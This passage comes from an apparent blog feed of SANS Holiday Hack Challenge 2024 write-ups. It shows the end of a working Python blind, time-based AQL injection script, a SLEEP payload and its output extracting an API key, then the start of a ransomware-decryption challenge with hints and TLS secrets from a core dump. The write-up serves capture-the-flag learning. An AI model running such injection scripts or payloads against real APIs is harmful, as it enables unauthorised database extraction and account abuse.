class=&#34;line&#34;&gt;  logger.debug (&lt;span class=&#34;string&#34;&gt;&amp;quot;runHexBlind --&amp;gt; Lenght is &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(length))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  hexString = &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; i &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;built_in&#34;&gt;range&lt;/span&gt; (&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;, length):&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    found = &lt;span class=&#34;literal&#34;&gt;False&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    j = &lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;not&lt;/span&gt; found:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      hexChar = HEX_ALPHABET[j % &lt;span class=&#34;built_in&#34;&gt;len&lt;/span&gt;(HEX_ALPHABET)]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      _query = &lt;span class=&#34;string&#34;&gt;&amp;#x27;SUBSTRING(&amp;#123;&amp;#125;,&amp;#123;&amp;#125;,1)==&amp;quot;&amp;#123;&amp;#125;&amp;quot;&amp;#x27;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(query, i, hexChar)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; runBlind (_query):&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        hexString += hexChar&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        found = &lt;span class=&#34;literal&#34;&gt;True&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        logger.debug (&lt;span class=&#34;string&#34;&gt;&amp;quot;runHexBlind --&amp;gt; Current hex string is &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(hexString))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      j += &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  string = &lt;span class=&#34;built_in&#34;&gt;bytes&lt;/span&gt;.fromhex(hexString).decode(&lt;span class=&#34;string&#34;&gt;&amp;quot;ASCII&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  logger.debug(&lt;span class=&#34;string&#34;&gt;&amp;quot;runHexBlind --&amp;gt; Got &amp;#123;&amp;#125; [&amp;#123;&amp;#125;]&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(string, hexString))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; string&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;getCols&lt;/span&gt; ():&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  query = &lt;span class=&#34;string&#34;&gt;&amp;quot;ATTRIBUTES(doc)&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  cols = json.loads(runHexBlind (query))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  logger.debug(&lt;span class=&#34;string&#34;&gt;&amp;quot;getCols --&amp;gt; cols is &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(cols))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; cols&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;getNumberOfCols&lt;/span&gt; ():&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  query = &lt;span class=&#34;string&#34;&gt;&amp;quot;COUNT(doc)&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  numberOfCols = runIntBlind (query)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; numberOfCols&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;getColsValues&lt;/span&gt; (cols):&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  table = &amp;#123;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; col &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; cols:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    query = &lt;span class=&#34;string&#34;&gt;&amp;quot;doc.&amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(col)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    colValue = runHexBlind(query)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    table[col] = colValue&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; table&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;main&lt;/span&gt; ():&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;### Setup ###&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;Base URL                 : &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(BASE_URL))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;Base Query               : &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(BASE_QUERY))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;Headers to inject        : &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(HEADER))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;OK message               : &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(OK_MSG))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;Log level                : &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(LOG_LEVEL))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;### Run ###&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  logger.setLevel(LOG_LEVEL)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;Retrieving the number of columns&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  numberOfCols = getNumberOfCols()&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot; --&amp;gt; Got &amp;#123;&amp;#125; columns&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(numberOfCols))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;Retrieving the columns&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  cols = getCols()&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot; --&amp;gt; The columns are &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(cols))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;Retrieving the values&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  colsValues = getColsValues (cols)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot; --&amp;gt; The values are &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(colsValues))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; __name__ == &lt;span class=&#34;string&#34;&gt;&amp;quot;__main__&amp;quot;&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  main()&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;The script performs a time based injection but relies on the error returned to verify the actual result as the API automatically times out after 2 seconds. I went for this approach as I have seen instances of the query performing faster but still returning the error. Running the script returned the data from the database:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act3-ransomware) thedead@maccos act3-ransomware % python3 aql_blind.py&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;### Setup ###&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Base URL                 : https://api.frostbit.app/api/v1/frostbitadmin/bot/3da17f67-ee61-455d-afc2-aa20e8c7911e/deactivate?debug=&lt;span class=&#34;literal&#34;&gt;true&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Base Query               : &lt;span class=&#34;string&#34;&gt;&amp;#x27; || &amp;#123;&amp;#125;?SLEEP(1000):false || &amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Headers to inject        : X-API-Key&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;OK message               : Timeout or error &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; query:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Log level                : 20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;### Run ###&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Retrieving the number of columns&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; --&amp;gt; Got 4 columns&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Retrieving the columns&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; --&amp;gt; The columns are [&lt;span class=&#34;string&#34;&gt;&amp;#x27;deactivate_api_key&amp;#x27;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;#x27;_rev&amp;#x27;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;#x27;_key&amp;#x27;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;#x27;_id&amp;#x27;&lt;/span&gt;]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Retrieving the values&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; --&amp;gt; The values are &amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;#x27;deactivate_api_key&amp;#x27;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;#x27;abe7a6ad-715e-4e6a-901b-c9279a964f91&amp;#x27;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;#x27;_rev&amp;#x27;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;#x27;_ieE_hFC---&amp;#x27;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;#x27;_key&amp;#x27;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;#x27;config&amp;#x27;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;#x27;_id&amp;#x27;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;#x27;config/config&amp;#x27;&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;Calling the deactivate endpoint with &lt;code&gt;X-API-Key: abe7a6ad-715e-4e6a-901b-c9279a964f91&lt;/code&gt; did the trick and deactivated the ransomware publication:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act3-ransomware) thedead@maccos act3-ransomware % curl &lt;span class=&#34;string&#34;&gt;&amp;quot;https://api.frostbit.app//api/v1/frostbitadmin/bot/3da17f67-ee61-455d-afc2-aa20e8c7911e/deactivate?debug=true&amp;quot;&lt;/span&gt; -H &lt;span class=&#34;string&#34;&gt;&amp;quot;X-API-Key: abe7a6ad-715e-4e6a-901b-c9279a964f91&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;message&amp;quot;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;Response status code: 200, Response body: &amp;#123;\&amp;quot;result\&amp;quot;:\&amp;quot;success\&amp;quot;,\&amp;quot;rid\&amp;quot;:\&amp;quot;3da17f67-ee61-455d-afc2-aa20e8c7911e\&amp;quot;,\&amp;quot;hash\&amp;quot;:\&amp;quot;50fca4bc7248f1fcdb35131bef14968b1101b03b93435a8421c4a215b3047f9a\&amp;quot;,\&amp;quot;uid\&amp;quot;:\&amp;quot;5001\&amp;quot;&amp;#125;\nPOSTED WIN RESULTS FOR RID 3da17f67-ee61-455d-afc2-aa20e8c7911e&amp;quot;&lt;/span&gt;,&lt;span class=&#34;string&#34;&gt;&amp;quot;status&amp;quot;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;Deactivated&amp;quot;&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="Dusty Giftwrap" />
        <category term="act3" />
        <category term="Deactivate Frostbit Naughty-Nice List Publication" />
        <category term="Deactivate" />
        <updated>2025-01-03T15:00:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2025/01/03/2024-14-Decrypt-the-Naughty-Nice-List/</id>
        <title>Decrypt the Naughty-Nice List</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2025/01/03/2024-14-Decrypt-the-Naughty-Nice-List/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄ ❄ ❄ ❄ ❄&lt;/span&gt;&lt;br&gt;Decrypt the Frostbit-encrypted Naughty-Nice list and submit the first and last name of the child at number 440 in the Naughty-Nice list.&lt;/p&gt;
&lt;h2 id=&#34;Hints&#34;&gt;&lt;a href=&#34;#Hints&#34; class=&#34;headerlink&#34; title=&#34;Hints&#34;&gt;&lt;/a&gt;Hints&lt;/h2&gt;&lt;h3 id=&#34;Frostbit-Hashing&#34;&gt;&lt;a href=&#34;#Frostbit-Hashing&#34; class=&#34;headerlink&#34; title=&#34;Frostbit Hashing&#34;&gt;&lt;/a&gt;Frostbit Hashing&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Dusty Giftwrap&lt;/em&gt;&lt;br&gt;The Frostbit infrastructure might be using a reverse proxy, which may resolve certain URL encoding patterns before forwarding requests to the backend application. A reverse proxy may reject requests it considers invalid. You may need to employ creative methods to ensure the request is properly forwarded to the backend. There could be a way to exploit the cryptographic library by crafting a specific request using relative paths, encoding to pass bytes and using known values retrieved from other forensic artifacts. If successful, this could be the key to tricking the Frostbit infrastructure into revealing a secret necessary to decrypt files encrypted by Frostbit.&lt;/p&gt;
&lt;h3 id=&#34;Frostbit-Dev-Mode&#34;&gt;&lt;a href=&#34;#Frostbit-Dev-Mode&#34; class=&#34;headerlink&#34; title=&#34;Frostbit Dev Mode&#34;&gt;&lt;/a&gt;Frostbit Dev Mode&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Dusty Giftwrap&lt;/em&gt;&lt;br&gt;There’s a new ransomware spreading at the North Pole called Frostbit. Its infrastructure looks like code I worked on, but someone modified it to work with the ransomware. If it is our code and they didn’t disable dev mode, we might be able to pass extra options to reveal more information. If they are reusing our code or hardware, it might also be broadcasting MQTT messages.&lt;/p&gt;
&lt;h3 id=&#34;Frostbit-Crypto&#34;&gt;&lt;a href=&#34;#Frostbit-Crypto&#34; class=&#34;headerlink&#34; title=&#34;Frostbit Crypto&#34;&gt;&lt;/a&gt;Frostbit Crypto&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Dusty Giftwrap&lt;/em&gt;&lt;br&gt;The Frostbit ransomware appears to use multiple encryption methods. Even after removing TLS, some values passed by the ransomware seem to be asymmetrically encrypted, possibly with PKI. The infrastructure may also be using custom cryptography to retrieve ransomware status. If the creator reused our cryptography, the infrastructure might depend on an outdated version of one of our libraries with known vulnerabilities. There may be a way to have the infrastructure reveal the cryptographic library in use.&lt;/p&gt;
&lt;h3 id=&#34;Frostbit-Forensics&#34;&gt;&lt;a href=&#34;#Frostbit-Forensics&#34; class=&#34;headerlink&#34; title=&#34;Frostbit Forensics&#34;&gt;&lt;/a&gt;Frostbit Forensics&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Dusty Giftwrap&lt;/em&gt;&lt;br&gt;I’m with the North Pole cyber security team. We built a powerful EDR that captures process memory, network traffic, and malware samples. It’s great for incident response - using tools like strings to find secrets in memory, decrypt network traffic, and run strace to see what malware does or executes.&lt;/p&gt;
&lt;h2 id=&#34;Solution&#34;&gt;&lt;a href=&#34;#Solution&#34; class=&#34;headerlink&#34; title=&#34;Solution&#34;&gt;&lt;/a&gt;Solution&lt;/h2&gt;&lt;h3 id=&#34;Artifacts&#34;&gt;&lt;a href=&#34;#Artifacts&#34; class=&#34;headerlink&#34; title=&#34;Artifacts&#34;&gt;&lt;/a&gt;Artifacts&lt;/h3&gt;&lt;p&gt;The following files are delivered with the download:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Filename:&lt;/strong&gt; DoNotAlterOrDeleteMe.frostbit.json&lt;br&gt;&lt;strong&gt;Content:&lt;/strong&gt; &lt;code&gt;&amp;#123;&amp;quot;digest&amp;quot;:&amp;quot;8000a9803204129aa16da8330a00102c&amp;quot;,&amp;quot;status&amp;quot;:&amp;quot;Key Set&amp;quot;,&amp;quot;statusid&amp;quot;:&amp;quot;cAwzkltLXZHSw&amp;quot;&amp;#125;&lt;/code&gt;&lt;br&gt;&lt;strong&gt;Description:&lt;/strong&gt; A file left by the ransomware probably to identify the client&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Filename:&lt;/strong&gt; frostbit.elf&lt;br&gt;&lt;strong&gt;Content:&lt;/strong&gt; ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter &amp;#x2F;lib64&amp;#x2F;ld-linux-x86-64.so.2, Go BuildID&amp;#x3D;twFnsUORqqujpF2IKOpc&amp;#x2F;fGToVu04lOziSdznrxR4&amp;#x2F;fBxGnDHL6jeZzih8PnXE&amp;#x2F;rTwd9D0xXFzB6_Ua8NW1, with debug_info, not stripped&lt;br&gt;&lt;strong&gt;Description:&lt;/strong&gt; The actual ransomware&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Filename:&lt;/strong&gt; frostbit_core_dump.13&lt;br&gt;&lt;strong&gt;Content:&lt;/strong&gt; ELF 64-bit LSB core file, x86-64, version 1 (SYSV)&lt;br&gt;&lt;strong&gt;Description:&lt;/strong&gt; The coredump from the execution of the ransomware&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Filename:&lt;/strong&gt; naughty_nice_list.csv.frostbit&lt;br&gt;&lt;strong&gt;Content:&lt;/strong&gt; Binary data&lt;br&gt;&lt;strong&gt;Description:&lt;/strong&gt; The encrypted naughty nice list&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Filename:&lt;/strong&gt; ransomware_traffic.pcap&lt;br&gt;&lt;strong&gt;Content:&lt;/strong&gt; pcap capture file&lt;br&gt;&lt;strong&gt;Description:&lt;/strong&gt; The pcap of the traffic generated byt the ransomware&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;The-core-dump&#34;&gt;&lt;a href=&#34;#The-core-dump&#34; class=&#34;headerlink&#34; title=&#34;The core dump&#34;&gt;&lt;/a&gt;The core dump&lt;/h3&gt;&lt;p&gt;The core dump seems corrupted and I was not able to open it with common tools, so I resorted to a simple &lt;code&gt;strings&lt;/code&gt;, revealing a bunch of useful info, in particular the following:&lt;/p&gt;
&lt;figure class=&#34;highlight js&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable constant_&#34;&gt;CLIENT_HANDSHAKE_TRAFFIC_SECRET&lt;/span&gt; c491e615be29a143ca7d21b48de873a6d91d8b13bd8ef71b882b15c498e0ad04 e6767af7846e360970021562b5ac02d3e5fcb01409ead3309d91af957f5484f2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable constant_&#34;&gt;SERVER_HANDSHAKE_TRAFFIC_SECRET&lt;/span&gt; c491e615be29a143ca7d21b48de873a6d91d8b13bd8ef71b882b15c498e0ad04 1a5fe244a7817ad46f195972ecac14af511ab5e14462434022729e88062fc59c&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable constant_&#34;&gt;CLIENT_TRAFFIC_SECRET_0&lt;/span&gt; c491e615be29a143ca7d21b48de873a6d91d8b13bd8ef71b882b15c498e0ad04 ca4217b4b9ba666965bbf63d2b207a32e8698f60c627ae7b4ec2cfaddc3d7ee6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable constant_&#34;&gt;SERVER_TRAFFIC_SECRET_0&lt;/span&gt; c491e615be29a143ca7d21b48de873a6d91d8b13bd8ef71b882b15c498e0ad04 6db935cad2572f57e40ad1334beecd013dddbca2309eff5a9ce2b34b55d3c80f&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;https://api.frostbit.app/view/cAwzkltLXZHSw/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102c&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;h3 id=&#34;The-pcap&#34;&gt;&lt;a href=&#34;#The-pcap&#34; class=&#34;headerlink&#34; title=&#34;The pcap&#34;&gt;&lt;/a&gt;The pcap&lt;/h3&gt;&lt;p&gt;Having extracted the traffic secrets from the core dump, I then decrypted the traffic of the file &lt;code&gt;ransomware_traffic.pcap&lt;/code&gt; using &lt;a href=&#34;https://github.com/lbirchler/tls-decryption&#34;&gt;tls-decryption&lt;/a&gt;. Then I opened the decrypted pcap with wireshark and extracted the full http stream:&lt;/p&gt;
